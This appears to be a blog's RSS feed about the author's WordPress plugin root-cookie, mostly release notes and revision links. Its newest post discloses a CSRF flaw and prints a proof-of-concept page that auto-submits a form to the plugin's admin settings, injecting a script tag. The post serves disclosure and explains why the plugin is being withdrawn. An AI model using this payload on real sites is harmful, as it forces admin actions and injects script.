<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"><channel><title>LINICKX.com</title><link>https://www.linickx.com/</link><description></description><lastBuildDate>Sat, 14 Dec 2024 15:59:00 +0000</lastBuildDate><item><title>Goodbye root-cookie</title><link>https://www.linickx.com/goodbye-root-cookie</link><description>&lt;p&gt;&lt;code&gt;TLDR:&lt;/code&gt; 🔥🔥🔥 If you still use root-cookie, please delete it from your WordPress/Website 🔥🔥🔥🔥&lt;/p&gt;
&lt;p&gt;Today I have requested that the Plugins team over at WordPress.org org delete &lt;a href="https://wordpress.org/plugins/root-cookie"&gt;my root-cookie plugin&lt;/a&gt;. I started it back in &lt;a href="https://www.linickx.com/root-cookie-for-wp26"&gt;2008 for WP 2.6&lt;/a&gt;, probably before if you dig into the SVN history, back when things were very different.&lt;/p&gt;
&lt;p&gt;Back in the early days of WordPress, it was a &lt;em&gt;"sub directory"&lt;/em&gt;, i.e. you setup your site with a home page, and then WordPress (blog) was a below that. The problem root-cookie was designed to solve, is that there was no way of accessing the WordPress authentication cookie outside the WordPress folder, so if you wanted to something as simple as change a banner, or theme based on being logged in, you could't. root-cookie was very simple, it hooked into WordPress's authentication functions and stripped the folder out of the cookie, and assigned it to the "root" of the domain, then from your custom code you could read it and do &lt;em&gt;whatever&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;I really, &lt;em&gt;really&lt;/em&gt; cannot remember what the admin page did or looked like, there's probably some screenshots around here but apparently it contains a Cross Site Request Forgery (CSRF) vulnerability, the steps (&lt;em&gt;apparently, I've not tested&lt;/em&gt;) to reproduce are:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Make a logged in admin click a link with the following HTML (replace the domain)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;body onload=&amp;quot;document.forms[0].submit()&amp;quot;&amp;gt;
&amp;lt;form action=&amp;quot;http://{domain}/wp-admin/options-general.php?page=root-cookie&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;rootcookie_submit_hidden&amp;quot; value='Y' /&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;rootcookie_subdomain_manual&amp;quot; value='&amp;amp;&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;' /&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;REF: https://patchstack.com/&lt;/p&gt;
&lt;p&gt;👉🏻 Given that I have not maintained this plugin for &lt;strong&gt;over 13 years&lt;/strong&gt;, I do &lt;em&gt;NOT&lt;/em&gt; intend to publish an update and have requested the plugin be deleted.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;From: Nick&lt;br /&gt;
To: plugins wordpress.org&lt;br /&gt;
Date: 14 Dec 2024, 15:47&lt;br /&gt;
Subject:  Please Delete "root-cookie"&lt;br /&gt;
Body:&lt;/p&gt;
&lt;p&gt;Hello,
Please delete https://wordpress.org/plugins/root-cookie/&lt;/p&gt;
&lt;p&gt;The plugin has not been maintained in 13years, apparently recently it was discovered to contain a CSRF vulnerability, I do not intend to fix it therefore it would be safer for the community if the plugin is removed from wordpress.org.&lt;/p&gt;
&lt;p&gt;Stats show only 11 downloads per week, I don't suppose the plugin is needed anymore, the first version was released in 2008 for WP2.6, I expect a lot has changed since then :)&lt;/p&gt;
&lt;p&gt;Many Thanks in advance for your support.&lt;br /&gt;
Kind Regards,&lt;br /&gt;
Nick &lt;br /&gt;
&lt;/p&gt;
&lt;/blockquote&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Nick Bettison</dc:creator><pubDate>Sat, 14 Dec 2024 15:59:00 +0000</pubDate><guid isPermaLink="false">tag:www.linickx.com,2024-12-14:goodbye-root-cookie</guid><category>WordPress</category><category>plugin</category><category>root-cookie</category><category>Vulnerability</category></item><item><title>Example wordpress_logged_in for root-cookie</title><link>https://www.linickx.com/example-wordpress_logged_in-for-root-cookie</link><description>&lt;p&gt;&lt;a href="https://gist.github.com/linickx/6074260"&gt;https://gist.github.com/linickx/6074260&lt;/a&gt;&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">nick</dc:creator><pubDate>Wed, 24 Jul 2013 21:36:00 +0100</pubDate><guid isPermaLink="false">tag:www.linickx.com,2013-07-24:example-wordpress_logged_in-for-root-cookie</guid><category>PHP</category><category>root-cookie</category><category>WordPress</category></item><item><title>Making your WordPress.org/extend/plugin pages look cool!</title><link>https://www.linickx.com/making-your-wordpress-orgextendplugin-pages-look-cool</link><description>&lt;p&gt;Whilst browsing what is on offer at wordpress.org/extend I noticed that
the plugins by automattic had fancy banners (e.g.
&lt;a href="http://wordpress.org/extend/plugins/jetpack/"&gt;jetpack&lt;/a&gt; &amp;amp;
&lt;a href="http://wordpress.org/extend/plugins/buddypress/"&gt;buddypress&lt;/a&gt;)... I
wanted in!&lt;/p&gt;
&lt;p&gt;Since the text on these pages is generated from the readme.txt in a
given plugin's repo I figured I'd take a look there and see if the
automattic guys were doing anything different... oh yeah, there were!&lt;/p&gt;
&lt;p&gt;These repo's had a "assets" folder in the root, and in there was a
banner-772x250.png. Simply by generating my own banner (&lt;em&gt;772px wide by
250px high&lt;/em&gt;), creating an assets folder in each of my repos &lt;a href="https://plugins.trac.wordpress.org/changeset/515612/phpbb-recent-topics/assets"&gt;and
committing&lt;/a&gt;
did the trick - so secret sauce required! (&lt;em&gt;NOTE:You have to wait a
while for wp.org to update, I waited overnight&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;I think these are looking rather groovy :)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://wordpress.org/extend/plugins/phpbb-recent-topics/"&gt;http://wordpress.org/extend/plugins/phpbb-recent-topics/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://wordpress.org/extend/plugins/phpbb-recent-topics/"&gt;http://wordpress.org/extend/plugins/root-cookie/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://wordpress.org/extend/plugins/linickx-lifestream/"&gt;http://wordpress.org/extend/plugins/linickx-lifestream/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">nick</dc:creator><pubDate>Fri, 09 Mar 2012 08:38:00 +0000</pubDate><guid isPermaLink="false">tag:www.linickx.com,2012-03-09:making-your-wordpress-orgextendplugin-pages-look-cool</guid><category>LINICKX-LifeStream</category><category>phpbb_recent_topics</category><category>root-cookie</category><category>WordPress</category></item><item><title>Revision 514956: banner test - got root?</title><link>https://www.linickx.com/revision-514956-banner-test-got-root</link><description>&lt;p&gt;&lt;a href="http://plugins.trac.wordpress.org/changeset/514956/root-cookie"&gt;Revision 514956: banner test - got
root?&lt;/a&gt;&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">nick</dc:creator><pubDate>Mon, 05 Mar 2012 22:09:00 +0000</pubDate><guid isPermaLink="false">tag:www.linickx.com,2012-03-05:revision-514956-banner-test-got-root</guid><category>root-cookie</category></item><item><title>root-cookie 1.6, two years in the making?</title><link>https://www.linickx.com/root-cookie-1-6-two-years-in-the-making</link><description>&lt;p&gt;&lt;a href="https://www.linickx.com/files/2011/12/screenshot-1.png"&gt;&lt;img alt="" src="https://www.linickx.com/files/2011/12/screenshot-1-150x150.png" title="Root Cookie Admin Screen Shot" /&gt;&lt;/a&gt;No
taking two years to release an update is not good, but in my defence
root-cookie is so simple that there are very few issues and complaints
;)&lt;/p&gt;
&lt;p&gt;Actually a two year wait isn't strictly true, those watching &lt;a href="https://www.linickx.com/tag/root-cookie"&gt;the dev
log&lt;/a&gt; would have seen I've pushed
the odd update here and there.&lt;/p&gt;
&lt;p&gt;So what prompts this release, well I've noticed that in WP3.3 that the
cookie functions have changed, so to ensure future compatibility (&lt;em&gt;and
minimal issues for me&lt;/em&gt;) I have updated this plugin to be aligned to the
core source.&lt;/p&gt;
&lt;p&gt;The usual blurb...&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Download:
    &lt;a href="http://wordpress.org/extend/plugins/root-cookie/download/"&gt;http://wordpress.org/extend/plugins/root-cookie/download/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Support:
    &lt;a href="https://wordpress.org/tags/root-cookie?forum_id=10#postform"&gt;https://wordpress.org/tags/root-cookie?forum_id=10#postform&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Bugs:
    &lt;a href="http://plugins.trac.wordpress.org/newticket?component=root-cookie&amp;amp;owner=linickx"&gt;http://plugins.trac.wordpress.org/newticket?component=root-cookie&amp;amp;owner=linickx&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ChangeLog&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Contextual Help&lt;/li&gt;
&lt;li&gt;Bug fix "undefined method WP_Error::get_items"&lt;/li&gt;
&lt;li&gt;Logout Enhancement&lt;/li&gt;
&lt;li&gt;WP 3.3 Compatability&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.linickx.com"&gt;Donation Link&lt;/a&gt; (&lt;em&gt;it's good for your karma&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">nick</dc:creator><pubDate>Thu, 22 Dec 2011 22:02:00 +0000</pubDate><guid isPermaLink="false">tag:www.linickx.com,2011-12-22:root-cookie-1-6-two-years-in-the-making</guid><category>PHP</category><category>plugin</category><category>root-cookie</category><category>WordPress</category></item><item><title>Revision 479559: 1.6 is good to go!</title><link>https://www.linickx.com/revision-479559-1-6-is-good-to-go</link><description>&lt;p&gt;&lt;a href="http://plugins.trac.wordpress.org/changeset/479559/root-cookie"&gt;Revision 479559: 1.6 is good to
go!&lt;/a&gt;&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">nick</dc:creator><pubDate>Thu, 22 Dec 2011 22:00:00 +0000</pubDate><guid isPermaLink="false">tag:www.linickx.com,2011-12-22:revision-479559-1-6-is-good-to-go</guid><category>root-cookie</category></item><item><title>Revision 479535: Updated readme for wp.org validation</title><link>https://www.linickx.com/revision-479535-updated-readme-for-wp-org-validation</link><description>&lt;p&gt;&lt;a href="http://plugins.trac.wordpress.org/changeset/479535/root-cookie"&gt;Revision 479535: Updated readme for wp.org
validation&lt;/a&gt;&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">nick</dc:creator><pubDate>Thu, 22 Dec 2011 21:12:00 +0000</pubDate><guid isPermaLink="false">tag:www.linickx.com,2011-12-22:revision-479535-updated-readme-for-wp-org-validation</guid><category>root-cookie</category></item><item><title>Revision 479519: logout upgrade (better cookie clearing)</title><link>https://www.linickx.com/revision-479519-logout-upgrade-better-cookie-clearing</link><description>&lt;p&gt;&lt;a href="http://plugins.trac.wordpress.org/changeset/479519/root-cookie"&gt;Revision 479519: logout upgrade (better cookie
clearing)&lt;/a&gt;&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">nick</dc:creator><pubDate>Thu, 22 Dec 2011 20:58:00 +0000</pubDate><guid isPermaLink="false">tag:www.linickx.com,2011-12-22:revision-479519-logout-upgrade-better-cookie-clearing</guid><category>root-cookie</category></item><item><title>Revision 478889: WFM: WP 3.3</title><link>https://www.linickx.com/revision-478889-wfm-wp-3-3</link><description>&lt;p&gt;&lt;a href="http://plugins.trac.wordpress.org/changeset/478889/root-cookie"&gt;Revision 478889: WFM: WP
3.3&lt;/a&gt;&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">nick</dc:creator><pubDate>Wed, 21 Dec 2011 21:25:00 +0000</pubDate><guid isPermaLink="false">tag:www.linickx.com,2011-12-21:revision-478889-wfm-wp-3-3</guid><category>root-cookie</category></item><item><title>Revision 478864: Sync code with WordPress 3.3</title><link>https://www.linickx.com/revision-478864-sync-code-with-wordpress-3-3</link><description>&lt;p&gt;&lt;a href="http://plugins.trac.wordpress.org/changeset/478864/root-cookie"&gt;Revision 478864: Sync code with WordPress
3.3&lt;/a&gt;&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">nick</dc:creator><pubDate>Wed, 21 Dec 2011 21:00:00 +0000</pubDate><guid isPermaLink="false">tag:www.linickx.com,2011-12-21:revision-478864-sync-code-with-wordpress-3-3</guid><category>root-cookie</category></item></channel></rss>